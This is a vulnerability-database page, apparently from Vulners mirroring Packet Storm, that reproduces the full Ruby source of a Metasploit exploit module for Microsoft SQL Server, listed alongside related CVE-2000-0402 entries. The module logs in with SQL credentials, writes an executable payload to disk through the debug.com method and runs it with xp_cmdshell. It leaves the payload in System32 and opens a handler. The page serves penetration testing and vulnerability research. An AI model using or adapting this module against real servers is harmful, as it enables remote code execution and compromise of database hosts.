Lucene search
K

Microsoft SQL Server Payload Execution

🗓️ 26 Nov 2009 00:00:00Reported by David KennedyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 118 Views

Microsoft SQL Server Payload Execution. Executes arbitrary payload using debug.com method to write an executable to disk and xp_cmdshell stored procedure. Avoids file size restrictions with debug bypass method from Defcon 17. Leaves payload in Windows System32 directory after attack

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2000-0402
30 May 200004:00
attackerkb
Circl
CVE-2000-0402
21 Dec 201000:00
circl
CVE
CVE-2000-0402
12 Jul 200004:00
cve
Cvelist
CVE-2000-0402
12 Jul 200004:00
cvelist
Exploit DB
Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow
6 Aug 200200:00
exploitdb
exploitpack
Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow
6 Aug 200200:00
exploitpack
Metasploit
Microsoft SQL Server Payload Execution
21 Feb 201201:40
metasploit
Metasploit
Microsoft SQL Server Payload Execution via SQL Injection
27 Jan 201116:48
metasploit
NVD
CVE-2000-0402
30 May 200004:00
nvd
Packet Storm
Microsoft SQL Server Payload Execution via SQL injection
29 Jan 201100:00
packetstorm
Rows per page
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::MSSQL  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Microsoft SQL Server Payload Execution',  
'Description' => %q{  
This module will execute an arbitrary payload on a Microsoft SQL  
Server, using the Windows debug.com method for writing an executable to disk  
and the xp_cmdshell stored procedure. File size restrictions are avoided by   
incorporating the debug bypass method presented at Defcon 17 by SecureState.  
Note that this module will leave a metasploit payload in the Windows  
System32 directory which must be manually deleted once the attack is completed.  
},  
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'OSVDB', '557'],  
[ 'CVE', '2000-0402'],  
[ 'BID', '1281'],  
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],  
],  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0   
))  
end  
  
def exploit  
  
debug = false # enable to see the output  
  
if(not mssql_login_datastore)   
print_status("Invalid SQL Server credentials")  
return  
end  
  
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)  
  
handler  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation